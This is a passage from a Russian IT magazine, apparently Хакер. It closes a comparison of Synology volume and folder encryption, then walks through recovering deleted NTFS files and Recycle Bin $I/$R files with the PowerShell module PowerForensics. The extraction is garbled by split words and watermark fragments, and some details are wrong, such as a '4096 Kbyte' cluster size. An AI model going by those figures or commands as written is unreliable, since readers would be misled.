тома) может использовать­ ­ся и в качестве­ KMIP-сервера­ , и в качестве­ кли ­ ента.

Единствен­ ное­ ограниче­ ние­ : ты не можешь использовать­ пару устройств­ для взаимно­ г­ о хранения­ ключей­ (если устройство­ А выступа­ е­ т в роли KMIPсервера­ для устройства­ Б, то устройство­ Б не может быть KMIP-сервером­

для устройства­ А).

 

Один из пользовате­

лей­

разработал­

решение

 

с открытым­

исходным кодом для Raspberry Pi

 

или другого­

компьюте­ ра­ под управлением­

Linux

на основе­ PyKMIP. Проект­ KMIP Server for Synology DSM позволя­ ­ет хранить­ ключи­ шиф ­ рования на внешнем­ устройстве­ , где они могут быть защищены­ любым удобным­ способом­ , нап ­ ример сохранены­ на зашифрован­ ­ном томе LUKS, который не будет автомати­ ­чес­ки монтировать­ ­ся при загрузке­ сервера­ . К сожалению­ , в релизе DSM 7.2 этот способ­ работать перестал­ : воз ­ можность использования­ сторон­ ­них KMIP-сер ­ веров разработ­ ­чики DSM отключили­ .

ШИФРОВАНИЕ ТОМА В SYNOLOGY И QNAP

В сетевых хранили­ щах­ QNAP поддержи­ вают­ ся­ все возможные­ виды шиф ­ рования — от SED до шифрования­ тома и сетевых папок включитель­ но­ . Об этом мы писали в статье «Слои защиты. Три уровня­ шифрования­ в сетевых хранили­ щах­ QNAP». Я не буду подробн­ о сравнивать­ особен­ ности­ реализации­ шифрования­ и хранения­ ключей­ в устройствах­ разных­ произво­ дите­ лей­ ; отме ­ чу лишь, что такие операции­ , как монтирова­ ние­ , размонти­ рова­ ние­ и смена­ ключей­ зашифрован­ ных­ томов, занимают­ на устройствах­ QNAP несколь­ ко­ минут, а на устройствах­ Synology — считаные­ секунды­ .

СРАВНЕНИЕ ШИФРОВАНИЯ ТОМА И ШИФРОВАНИЯ СЕТЕВЫХ ПАПОК

Если­ сравнить­ шифрование­ тома и сетевых папок, то можно­ сделать­ сле ­ дующие выводы.

Шифрование­ тома обеспечива­ е­ т защиту всего­ храняще­ гося­ на томе содержимого­ , включая­ все сетевые папки­ (в том числе­ домашние­ папки­ поль ­ зователей­ ), метаданные­ файловой­ системы­ , виртуаль­ ные­ машины, приложе­ ­ ния и контей­ неры­ . Шифрование­ сетевых папок защищае­ т только­ содержимое­ файлов­ и имена­ файлов­ и папок; структура­ файловой­ системы­ и метаданные­ при этом свобод­ н­ о доступны­ .

Оба метода позволя­ ­ют сменить­ пароль для доступа­ к хранили­ ­щу ключей­ , но тольк­ о шифрование­ тома дает возможность­ сменить­ скомпро­ ­мети­рован ­ ный ключ восста­ ­нов­ления и отозвать­ ранее выданные­ ключи­ . Шифрование­ сетевых папок требуе­ т расшифров­ ­ки и повторно­ ­го шифрования­ всех данных­ для смены­ скомпро­ ­мети­рован­ного ключа­ .

Шифрование­ тома имее­ т стандар­ тное­ для Linux ограниче­ ние­ на длину­ имени­ файлов­ и папок в 255 символов­ , в то время­ как шифрование­ сетевых папок имее­ т ограниче­ ние­ в 143 символа­ .

Шифрование­ тома обеспечива­ ­ет прирос­ т произво­ ­дитель­нос­ти на 48% по сравнени­ ю с шифровани­ ­ем папок (по официаль­ ­ным данным­ Synology). Шифрование­ сетевых папок может вызывать заметное­ падение быстро­ ­дей ­ ствия, особен­ ­но при работе с небольшими­ файлами­ .

Способы­ хранения­ ключей­ и управления­ ими сильно­ различа­ ются­ . Шиф ­ рование тома предус­ матри­ вае­ т локальное­ хранение­ ключей­ (они защища ­ ются паролем хранили­ ща­ , который также­ обязатель­ но­ сохраня­ ется­ на локаль ­ ном диске­ ) либо возможность­ хранения­ на сервере­ KMIP (в роли которого­ может выступать­ только­ другое­ устройство­ Synology последних­ лет выпуска­ ). Шифрование­ сетевых папок используе­ т локальное­ или USB-хранили­ ще­

с защитой паролем, который может сохранять­ ­ся локально­ на устройстве­ или не сохранять­ ­ся вовсе­ .

Оба метода поддержи­ ва­ ют автомати­ чес­ кое­ монтирова­ ние­ при загрузке­ , но оно обязатель­ н­ о для шифрования­ тома и опциональ­ но­ для шифрования­ сетевых папок.

В следующей­ таблице­ я собра­ л основные особен­ ­ности обоих­ методов шифрования­ .

ВЫВОДЫ

Что лучше­ — шифрование­ тома или сетевых папок? Выбор между­ этими­ дву ­ мя варианта­ ми­ зависит от конкрет­ ных­ потребнос­ тей­ и требова­ ний­ безопас ­ ности. Шифрование­ тома предлага­ е­ т более широкий спектр защиты, высокую произво­ дитель­ ность­ и гибкость­ в управлении­ ключами­ , в то время­ как шифрование­ сетевых папок более удобно­ в использовании­ и не требует­ обязатель­ ног­ о сохранения­ пароля, а также­ автомати­ чес­ кого­ монтирова­ ния­ зашифрован­ ных­ данных­ при загрузке­ устройства­ . Посколь­ ку­ в DSM 7.2 под ­ держивает­ ся­ одновремен­ ное­ шифрование­ как тома, так и сетевых папок, ты можешь зашифровать­ том (это быстро­ и удобно­ ) и использовать­ допол ­ нительное­ шифрование­ только­ для тех сетевых папок, для которых это дей ­ ствитель­ н­ о нужно­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВОССТАНАВЛИВАЕМ ФАЙЛЫ В NTFS С ИСПОЛЬЗОВАНИЕМ

POWERSHELL

Сущес­ тву­ ет­ множес­ тво­ способов­ вернуть­ утрачен­ ные­ или удален­ ные­ с накопителей­ файлы­ . В статье мы с тобой освежим­ в памяти теоретичес­ кие­ основы­ восста­ нов­ ­ ления удален­ ной­ информации­ в файловой­ системе­ NTFS v3.1 и подробно­ рассмот­ рим­

практичес­ кий­ способ­ ручного­ восста­ нов­ ­ ления файлов­ с использовани­ ем­

PowerShell.

Антон Кузнецов anton.aleksandrovich65@gmail.co m

Хочу­ отдать должное­ Крису­ Каспер­ ски­ за его тру ­ ды на эту тему и подробное­ описание­ теории и практики­ в книге­ «Восста­ нов­ ление­ данных­ . Практичес­ кое­ руководство­ », а заодно­ поблагода­ ­ рить Вален­ тина­ Холмогоро­ ва­ и Ксению­ Кирилову­ за обновление­ и переизда­ ние­ книги­ в 2021 году.

Сегод­ ня­ создан­ о предос­ таточ­ но­ програм­ мных­ решений для восста­ нов­ ления­ удален­ ных­ файлов­ с различных­ файловых­ систем­ . Однако­ , если переф ­ разировать­ известное­ изречение­ , практика­ без теории мертва­ : чтобы­ мак ­ симальн­ о эффективн­ о использовать­ инстру­ мен­ ты­ , нужно­ понимать, как они работают­ . Если перед специалис­ том­ стои­ т задача не просто­ вернуть­ утрачен­ ­ ные файлы­ , а разобрать­ ся­ в причинах­ инциден­ та­ , знания­ об устройстве­ фай ­ ловых систем­ просто­ необходимы­ .

ТЕОРИЯ

Подробн­ о рассмат­ ривать­ структуру­ NTFS я не вижу смысла­ , описание­ можно­ найти­ в книге­ Крис­ а «Восста­ нов­ ление­ данных­ . Практичес­ кое­ руководство­ » и статье «Файловая­ система­ NTFS извне и изнутри» (в двух частях­ ). Однако­ , чтобы­ наши действия­ при восста­ нов­ лении­ файлов­ были осмысленными­ , нам все же придет­ ся­ освежить­ в памяти некоторые­ ключевые­ особен­ ности­ фай ­ ловой системы­ NTFS 3.1, а заодно­ вспомнить­ , как хранят­ ся­ и удаляют­ ся­ фай ­ лы.

 

Не храни­ важные­

файлы­ на одном томе с опе ­

 

рационной­

системой­

(обычно­

это

диск

С):

 

на этом томе в NTFS чаще всего­ происхо­

дят­

 

изменения­

даже без прямого­

участия­ пользовате­

­

 

ля, что может повлиять­

на восста­ нов­ ление­

утра ­

 

ченной­

информации­ . Данные­

после­

удаления­

 

на этом дисковом­

разделе­

могут быть переза ­

 

писаны­

системны­

ми­ файлами­

.

 

 

 

 

 

В файловой­ системе­ NTFS работае­ т принцип­ «все есть файл». Файл же имеет­ определен­ ный­ набор атрибутов­ . Мы не будем разбирать­ все атрибуты­ фай ­

лов, затронем­ тольк­ о самые важные­ : $STANDARD_INFO, $FILE_NAME, $DATA.

В атрибутах­ $STANDARD_INFO и $FILE_NAME записаны­ метки­ времени­ , под ­ робнее о них мы поговорим­ позже­ , а в атрибуте­ $DATA хранит­ ­ся содержимое­ резидентно­ ­го файла­ . В случае­ с нерезиден­ ­тны­ми файлами­ там располага­ ­ ются «ссылки­ » на разбро­ ­сан­ное по секторам­ содержимое­ файла­ , называ ­ емое data runs или отрезками­ . Отрезки представ­ ­ляют собой последова­ ­тель ­ ность кластеров­ , которые храня­ т содержимое­ нерезиден­ ­тно­го файла­ , а в качестве­ упомяну­ ­тых «ссылок­ » в атрибуте­ $DATA использует­ ­ся номер началь ­ ного кластера­ и количество­ идущих­ следом­ кластеров­ . Как видишь, матема ­ тика простая­ : если файл нерезиден­ ­тный (больше­ 720 байт), нам нужно­ найти­ кластер­ , с которог­ о он начинается­ , и собрать­ все кластеры­ воедино­ в верном­ порядке­ , а после­ записать содержимое­ кластеров­ в новый файл.

Все файловые­ атрибуты­ хранят­ ся­ в файловой­ записи (File Record) таблицы­ Master File Table ($mft). Это наиважней­ ший­ служеб­ ный­ файл (оттого­ он имеет­ резервну­ ю копию $mftmirr), так как содержи­ т в себе информаци­ ю обо всех файлах­ и директори­ ях­ на томе. Имея на руках только­ файл $mft, можн­ о выс ­ троить­ хроноло­ ги­ ю связан­ ных­ с файлами­ событий, а в некоторых­ случаях­ — восста­ новить­ файлы­ .

Еще один важный­ служеб­ ­ный файл — карта­ свобод­ ­ного пространс­ ­тва $BitMap. С ее помощью отслежива­ ­ются все используемые­ и неисполь­ ­зуемые кластеры­ , что, конечн­ о же, напряму­ ю связано­ с создани­ ­ем и удалени­ ­ем фай ­ лов или директорий­ . Кластер­ же в NTFS — минимальная­ единица­ дискового­ пространс­ ­тва, доступно­ ­го для размещения­ файлов­ и директорий­ в файловой­ системе­ NTFS. По умолчани­ ю размер­ кластера­ равен 4096 Kбайт, но при соз ­ дании тома можн­ о задать иной размер­ .

Процесс­ удаления­ файла­ подробно­ описан­ в книге­ Криса­ , также­ информа ­ цию можн­ о найти­ в статье «Разгре­ баем­ руины. Как восста­ новить­ удален­ ные­ файлы­ на разделах­ NTFS».

РЕЗИДЕНТНЫЕ И НЕРЕЗИДЕНТНЫЕ ФАЙЛЫ АТРИБУТЫ

Некото­ рые­ материалы­ , посвящен­ ные­ файловой­ системе­ NTFS v3.1, упомина­ ­ ют о резидентных­ и нерезиден­ тных­ файлах­ . Резидентны­ ми­ файлами­ считают­ ­ ся те, размер­ которых меньше­ или равен 720 байт (это количество­ байтов­ было получен­ о исключитель­ но­ опытным­ путем в NTFS v3.1 в Windows 10, хотя в других­ источниках­ читатель может найти­ иную информацию­ о максималь­ ном­ размере­ резидентно­ г­ о файла­ : он варьиру­ ется­ от 700 байт до 1 Кбайт). Такие файлы­ храня­ т все содержимое­ в $mft (Master File Table), и в этом случае­ флаг нерезиден­ тнос­ ти­ (Non-resident fag) у них равен 00h. Для нерезиден­ тных­ фай ­ лов (строг­ о больше­ 720 байт) флаг Non-resident fag равен 01h.

На самом деле флаг резидентнос­ ти­ присущ­ каждому­ атрибуту­ файла­ в отдельнос­ ти­ (в том числе­ $FN, $SI и другим­ атрибутам­ ), а не самому файлу­

как таковому­ . Несмотря­ на наличие такого флага­ у каждого­ атрибута­ , сущес ­ твуют­ исключитель­ ­но резидентные­ атрибуты­ , которые храня­ т свои данные­ тольк­ о в файле­ $mft (например­ , $FILE_NAME, $STANDARD_INFO, $VOLUME_NAME). Есть атрибуты­ , которые могут быть как резидентны­ ­ми, так

инерезиден­ ­тны­ми (это справед­ ­ливо по отношению­ к атрибутам­ $DATA, $EA

идругим­ ). Наконец, существу­ ­ют файловые­ атрибуты­ , которые храня­ т свои данные­ исключитель­ ­но за предела­ ­ми $mft, то есть являются­ строго­ нерези ­

дентны­ ­ми ($BITMAP, $REPARSE_POINT, $SECURITY_DESCRIPTOR и прочие­ ).

Время и атрибуты $STANDARD_INFO и $FILE_NAME

При создании­ файла­ на томе, перемещении­ между­ томами и практичес­ ки­ любых манипуляци­ ях­ с файлами­ (переиме­ нова­ ние­ , локальное­ перемещение­ , доступ­ внутри­ одног­ о тома, изменение­ ) у файла­ изменяют­ ся­ атрибуты­ $STANDARD_INFO (далее — $SI) и $FILE_NAME (далее — $FN). В них указано­ время­ , когда­ произош­ ло­ действие­ с файлом­ .

В следующих­ таблицах­ показано­ , какие атрибуты­ файлов­ $SI и $FN меня ­ ются и при каких действи­ ­ях с файлом­ .

Изменение­ атрибута­ $FILE_NAME

Изменение­ атрибута­ $STANDARD_INFO

Здесь

Modifcation — изменение­ атрибутов­ $Data и $INDEX;

Accessed — обращение­ к содержимому­ файла­ ;

Change (MFT) — запись в таблицу­ MFT (не отобража­ ­ется в Windows);

BornTime или birthday of fle — создание­ файла­ .

Важно­ , что

при

удалении­

через

del или erase

 

атрибуты­

$FILE_NAME

и $STANDARD_INFO не изменяют­

ся­ .

 

 

 

 

 

 

 

 

 

 

Зная метки­ времени­

определен­

ных­

файлов­

и правила­

изменения­

атри ­

бутов, специалис­

т по рассле­ дова­

ни­ ю инциден­ тов­ способен­

выстро­ ить­ вер ­

ную хроноло­

ги­ ю событий. Время­ , в которое произош­

ли­ те или иные действия­

с файлами­

, при проведе­

нии­

кримина­

лис­ тичес­

кого­

рассле­ дова­

ния­

может

стать одним из важней­ ших­

артефак­ тов­ .

 

 

 

 

 

 

 

 

 

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ВОССТАНАВЛИВАЕМ ФАЙЛЫ В NTFS С ИСПОЛЬЗОВАНИЕМ POWERSHELL

ВОССТАНОВЛЕНИЕ ФАЙЛОВ, УДАЛЕННЫХ С ИСПОЛЬЗОВАНИЕМ

DEL ИЛИ ERASE

Наста­ ло время­ приступить­ к практичес­ кой­ части­ , чтобы­ закрепить­ теорию и поупражнять­ ся­ в восста­ нов­ лении­ удален­ ных­ файлов­ . Но для начала следует­ выделить два способа­ удаления­ файлов­ в Windows:

удаление­ c использовани­ ­ем системных­ утили­ т del (Shift-Del) или erase;

удаление­ через корзину­ .

Такое­ разделение­ связано­ с разницей­ в механизме­ удаления­ и некоторым­ отличием­ при восста­ нов­ лении­ файлов­ .

 

Никог­ да­ не восста­ нав­ ливай­

удален­ ные­

файлы­

 

на тот же том, с которого­ они были удалены­

. Луч ­

 

ше всего­ использовать­

отдельный­

носитель.

 

В перву­ ю очередь­ разберем­ ся­ с восста­ нов­ лени­ ем­ нерезиден­ тных­ файлов­ , а дальше­ посмотрим­ , как восста­ нав­ ливать­ резидентные­ . Итак, практиковать­ ­ ся мы будем с использовани­ ем­ PowerShell-модуля PowerForensics авторства­ Джареда­ Эткинсона­ . Этот модуль прост в установ­ ке­ и содержи­ т полезные­ командле­ ты­ для работы с файловыми­ системами­ NTFS и FAT. Он позволя­ ет­ работать с системны­ ми­ файлами­ Windows и парсить­ атрибуты­ файлов­ NTFS, конверти­ ровать­ метки­ времени­ из байтового­ представ­ ления­ в человекочи­ ­ таемое (что необходимо­ в форензике­ ). Подробнее­ узнать о возможнос­ тях­ модуля можн­ о из его описания­ .

Для начала установим­ этот модуль (нужно­ запускать­ PowerShell от имени­ админис­ тра­ тора­ , посколь­ ку­ при чтении­ служеб­ ных­ файлов­ требуют­ ся­ при ­ вилегии­ локальног­ о админис­ тра­ тора­ ):

Import-Module PowerForensics

Проверим­ , что все прошло­ успешно, для этого­ выполним­ командлет­

Get-Command - Module PowerForensics

Установ­ ка­ модуля PowerForensics

Установ­ ка­ модуля завершена­ , теперь давай найдем­ все удален­ ные­ файлы­ на томе. В главной­ файловой­ таблице­ они имею­ т флаг удаления­ 00h по сме ­ щению 16 байт от начала файловой­ записи.

Как уже было сказан­ о в теоретичес­ кой­ части­ , в Windows постоян­ но­ про ­ исходя­ т изменения­ , какие то файлы­ удаляют­ ся­ , а какие то, наоборот­ , соз ­ даются­ (например­ , начиная с Windows 8 количество­ файлов­ Prefetch огра ничено­ 1024, поэтому­ старые­ удаляют­ ся­ системой­ , а новые создают­ ся­ при запуске­ исполняемых­ файлов­ ).

Для чистоты­ эксперимен­ ­та создадим­ том F (запускаем­ diskmgmt.msc, затем сжимаем­ имеющий­ ­ся том и отдаем­ для нового 5 Гбайт с дефолтным­ размером­ кластера­ 4096 Кбайт). Поместим­ туда файл (в роли подопытного­ будет выступать­ калькулятор­ , но читатель может использовать­ любой другой­ файл) calc.exe и удалим­ его через erase (то же самое будет при удалении­ через del или Shift-Del).

Теперь­ для поиска­ удален­ ного­ файла­ на томе F восполь­ зуем­ ся­ командле­ ­ том Get-ForensicsFileRecord и отфильтру­ ем­ вывод по флагу­ True для атрибута­ Deleted:

Get-ForensicFileRecord -VolumeName F: | Where-Object {$_.Deleted}

Получе­ ние­ удален­ ных­ файлов­ на томе F

Здесь мы видим основные файловые­ атрибуты­ и их значения­ , однако­ для вос ­ станов­ ­ления нам потребу­ ­ется значение­ файловой­ записи RecordNumber. После­ того как файл будет найден­ , для дальнейших­ действий­ лучше­ поль ­ зоваться­ номером файловой­ записи, так как имя файла­ может изменять­ ­ся в процес­ ­се удаления­ (далее мы разберем­ этот случай­ ). Имея номер фай ­ ловой записи, мы сможем­ отыскать­ недостающие­ элемен­ ­ты, если файл нерезиден­ ­тный, и собрать­ его воедино­ по кусочкам­ , после­ чего записать содержимое­ в новый файл.

Для этог­ о запишем в переменну­ ю $file_record объек­ т файла­ со свой ­ ствами­ (атрибута­ ­ми файла­ ):

$file_record = Get-ForensicFileRecord -VolumeName F: -Index 43

Теперь­ мы можем обратить­ ­ся к отдельному­ атрибуту­ и узнать интересу­ ­ющую нас информацию­ . Для восста­ ­нов­ления нам нужно­ определить­ номер началь ­ ного кластера­ и общее количество­ занимаемых­ файлом­ кластеров­ . Для этого­ в переменну­ ю $file_descriptor запишем содержимое­ атрибута­ $DATA:

$file_descriptor=$file_record.Attribute | Where-Object {$_.name -eq

'DATA'}`

После­ чего мы можем получить значения­ начального­ кластера­ и количества­ кластеров­ , которые занимае­ т наш файл. В переменную­ $start_cluster сох ­ раним эти данные­ :

$start_cluster = $file_descriptor.DataRun | select *

На рисунке­ справа­ мы видим содержимое­ этой переменной­ в консоли­ PowerShell, а слева­ — атрибу­ т $Data с его полями для нашего удален­ ного­ файла­ .

Началь­ ный­ кластер­ и количество­ используемых­ кластеров­

Теперь­ дело за малым: нужно­ записать содержимое­ по «адресу­ » выше (номер начальног­ о кластера­ и количество­ кластеров­ ) в восста­ нов­ ленный­ файл на томе.

Будем­ записывать­ на том С:, чтобы­ не затереть удален­ ­ные данные­ на томе F:. Можн­ о выполнить­ запись при помощи командле­ ­та Invoke-ForensicDD из модуля PowerForensics или использовать­ WriteAllBytes из библиоте­ ­ки

System.IO.File:

Invoke-ForensicDD -InFile \\.\F: -Offset ($st_cl.StartCluster*4096)

-BlockSize ($st_cl.ClusterLength*4096) -Count 1 -OutFile C:\calc.exe

Здесь мы указыва­ ем­ в параметре­ InFile том и расположе­ ние­ файла­ , который будет скопиро­ ван­ (в нашем случае­ это том F и расположе­ ние­ уда ­ ленног­ о файла­ ). В качестве­ смещения­ на диске­ указыва­ ем­ адрес начального­ кластера­ , умножен­ ный­ на 4096, и количество­ кластеров­ , также­ умножен­ ных­ на 4096, ведь размер­ кластера­ на нашем томе равен 4096 Кбайт. После­ чего указыва­ ем­ количеств­ о файлов­ на диске­ и путь с именем­ файла­ , куда будет восста­ нов­ лен­ наш файл.

В результате­ мы получаем­ наш рабочий калькулятор­ в корне­ тома C:\ calc.exe.

Восста­ нов­ ление­ калькулято­ ра­

Вот только­ есть одно но: несмотря­ на то что калькулятор­ запускает­ ­ся

иработае­ т без нареканий­ , хеш суммы­ оригиналь­ ­ного файла­ (до удаления­ )

ифайла­ после­ восста­ ­нов­ления не бьются­ …

Причина­ тому — разница­ в размере­ файла­ после­ восста­ нов­ ления­ . Размер­ файла­ до удаления­ равен 27 648 байт, а после­ восста­ нов­ ления­ — 28 672 (что при делении на 4096 дает нам 7 — те самые семь кластеров­ в сумме­ ). То есть при восста­ нов­ лении­ мы заботливо­ дозаписали­ нулями 1024 байт, это нужно­ и важн­ о учитывать­ при получении­ оригиналь­ ного­ файла­ . Значения­ реального­

размера­ файла­ (RealSize=27 648) и выделенног­ о под хранение­ файла­ прос ­ транства­ (AllocationSize=28 672) хранят­ ся­ в атрибуте­ $DATA. Вся информация­ у нас на руках, давай наведем красоту­ . Для этого­ , прежде­ чем сохранить­ содержимое­ кластеров­ в файл, запишем массив­ байтов­

в переменну­ ю $bytearray:

$bytearray = Invoke-ForensicDD -InFile \\.\F: -Offset ($st_cl.

StartCluster*4096) -BlockSize ($st_cl.ClusterLength*4096) -Count 1

После­ чего, используя­ функци­ ю WriteAllBytes системной­ библиоте­ ки­ System.IO.File, запишем содержимое­ в файл, указав­ верхн­ юю границу­ мас ­

сива для записи [0..($bytearray.Length - (1024 + 1))]:

[System.IO.File]::WriteAllBytes("C:\calc.exe",$bytearray[0..(

$bytearray.Length - (1024 + 1))])

Теперь­ посчита­ ем­ хеш суммы­ и сравним­ полученные­ значения­ .

Запись­ в файл

Как и ожидалось­ , хеш суммы­ бьются­ , значит­ , после­ восста­ ­нов­ления содер ­ жимое файла­ изменено­ не было. Если с восста­ ­нов­лени­ем удален­ ­ных с использовани­ ­ем del (Shift-Del) или erase файлов­ все понятно­ , то что про ­ исходи­ т в системе­ , когда­ ты перемещаешь­ файл в корзину­ ?

ВОССТАНОВЛЕНИЕ ФАЙЛОВ, УДАЛЕННЫХ ЧЕРЕЗ КОРЗИНУ

Сразу­ следуе­ т отметить­ , что перемещение­ файла­ в корзину­ не равно­ уда ­ лению: файл удаляет­ ­ся после­ очистки­ корзины­ (хоть это и очевид­ ­но, тем не менее упомянуть­ об этом стоит­ ).

После­ перемещения­ файла­ в корзину­ в директории­ C:\$Recycle.Bin\< User’s SID>\ создает­ ­ся два файла­ c именами­ , которые начинаются­ с $I и $R и заканчива­ ­ются оригиналь­ ­ным расширени­ ­ем перемещен­ ­ного в корзину­ файла­ . Даже с отображени­ ­ем скрытых­ файлов­ в директории­ нам не удастся­ посмотреть­ на созданные­ после­ перемещения­ в корзину­ файлы­ . Чтобы­ до них добрать­ ­ся, содержимое­ директории­ C:\$Recycle.Bin\<User’s SID> \ нужн­ о переместить­ в специаль­ ­но созданну­ ю для исследова­ ­ния директорию­ (можн­ о восполь­ ­зовать­ся PowerShell-командле­ ­том Copy-Item). После­ переме ­ щения нам стану­ т доступны­ следующие­ файлы­ :

1.$I<random>.original_extension (далее — $I) — файл с метадан ­

ными, создает­ ­ся, как только­ файл перемещает­ ­ся в корзину­ . Он исполь ­ зуется­ для восста­ ­нов­ления файла­ из корзины­ средства­ ­ми Microsoft, под ­ робнее разбор­ файла­ будет приведен­ ниже.

2.$R<random>.original_extension (далее — $R) — файл, который соз ­

дается­ после­ перемещения­ в корзину­ . Это копия перемещен­ ­ного в кор ­ зину файла­ , о чем говорят одинако­ ­вое содержимое­ и хеш суммы­ (если сравнить­ оригина­ л до удаления­ и перемещен­ ­ный файл). Изменяет­ ­ся толь ­ ко имя файла­ .

После­ перемещения­ файла­ в корзину­

Разбор­ содержимог­ о популярных­ файлов­ и файловых­ записей, а также­ струк ­ тур таблиц­ MFT, MBR, GPT и файловых­ атрибутов­ встречает­ ся­ в публикаци­ ях­ на GitHub. Однак­ о мне не удалось­ найти­ описание­ файла­ $I с метаданными­ , поэтому­ давай вместе­ разберем­ ся­ , что полезного­ можно­ обнаружить­ в таком файле­ .

В роли подопытног­ о будет по прежнему­ выступать­ файл calc.exe. Переместим­ его копию в корзину­ , после­ чего скопиру­ ем­ все содержимое­

из директории­ C:\$Recycle.Bin\<User’s SID>\* в папку­ для исследова­ ­ния. Ниже­ представ­ ­лен разбор­ всех полей файла­ $IOWX1VN.exe (был создан­

при перемещении­ калькулято­ ра­ в корзину­ ).

Здесь:

желтый­ цвет — File Header, заголовок­ файла­ $I;

синий­ цвет — File Size (Bytes) — размер­ файла­ ;

красный­ цвет — атрибу­ т $SI ChangedTime — время­ удаления­ , точнее­ , перемещения­ файла­ в корзину­ в формате­ UTC;

бирюзо­ ­вый цвет — FileName Length — размер­ имени­ файла­ в байтах­ ;

пурпурный­ цвет — File Path — полный­ путь до файла­ , который был удален­ (перемещен­ в корзину­ ).

Укаждог­ о пользовате­ ­ля своя $Recycle.Bin (корзина­ ). Более того, на каждом­

томе такая корзина­ создает­ ся­ по умолчанию­ . Грубо­ говоря, корзина­ из тома С пробрасыва­ ется­ в том F и другие­ созданные­ тома. Поэтому­ перед именем­ удален­ ног­ о файла­ мы видим SID пользовате­ ля­ — зачастую­ это полезная­ информация­ о том, какой пользователь­ в системе­ переместил­ файл в корзину­

и выполнил­ удаление­ . Например­ , для файла­ calc.exe полное­ имя файла­ будет выглядеть­ так:

F:\$RECYCLE.BIN\S-1-5-21-3457051395-4168275294-665325124-1000\

$ROWX1VN.exe

либо­

F:\$RECYCLE.BIN\S-1-5-21-3457051395-4168275294-665325124-1000\

$IOWX1VN.exe

Кроме­ информации­ о том, кто удали­ л файл, мы получаем­ информацию­ о мет ­ ках времени­ и о моменте­ , когда­ файл был перемещен­ в корзину­ . Также­ нам становит­ ся­ известен путь, по которому­ хранил­ ся­ файл до перемещения­ . Как изменяют­ ся­ метки­ времени­ , я расска­ зывал­ в теоретичес­ кой­ части­ .

Теперь­ давай поговорим­ о восста­ нов­ лении­ файла­ , который был удален­ через корзину­ . По алгорит­ му­ оно похоже на восста­ нов­ ление­ файлов­ , удален­ ­ ных с помощью del или erase, посколь­ ку­ для файловой­ системы­ нет разницы­ между­ файлами­ , удален­ ными­ из корзины­ или какой либо другой­ директории­ . По сути, система­ удаляе­ т файлы­ так же, как при примене­ нии­ утили­ т del или erase, тольк­ о предваритель­ но­ переиме­ новав­ файлы­ в $R<random>. extension и $I<random>.extension — именн­ о такие записи хранят­ ся­ в глав ­ ной файловой­ таблице­ $mft.

Вероят­ ­но, у читателя­ возник­ вполне­ логичный­ вопрос­ : какой из двух фай лов восста­ ­нав­ливать — $I или $R? Ведь при очистке­ корзины­ удалят­ ­ся оба эти файла­ и их записи какое то время­ будут хранить­ ­ся в $mft (до перезаписи­ другими­ данными­ ).

Для восста­ нов­ ления­ удален­ ного­ файла­ нам нужны­ оба: и $R, и $I. Файл $R требует­ ся­ для восста­ нов­ ления­ содержимого­ , а файл $I — для получения­ ори ­ гинальног­ о имени­ файла­ .

Единствен­ ­ный недостающий­ элемен­ т при восста­ ­нов­лении — оригиналь­ ­ ное имя, которое можно­ отыскать­ только­ в файле­ $I. Но файл $I резиден ­ тный, а это значит­ , что пришло­ время­ разобрать­ ­ся, как восста­ ­нав­ливать резидентные­ файлы­ .

Для начала мы также­ найдем­ ID файловой­ записи для файла­ $I:

Get-ForensicFileRecord -VolumeName F:| where {$_.Deleted}

$file_record = Get-ForensicFileRecord -VolumeName F: -Index 44

После­ чего обратим­ ­ся к атрибуту­ $DATA по указан­ ному­ ID и запишем содер ­ жимое атрибута­ в массив­ байтов­ :

$file_descriptor=$file_record.Attribute | Where-Object {$_.name -eq

'DATA'}

$Byte_Array = $file_descriptor.RawData

В $Byte_Array хранит­ ­ся содержимое­ резидентно­ ­го файла­ .

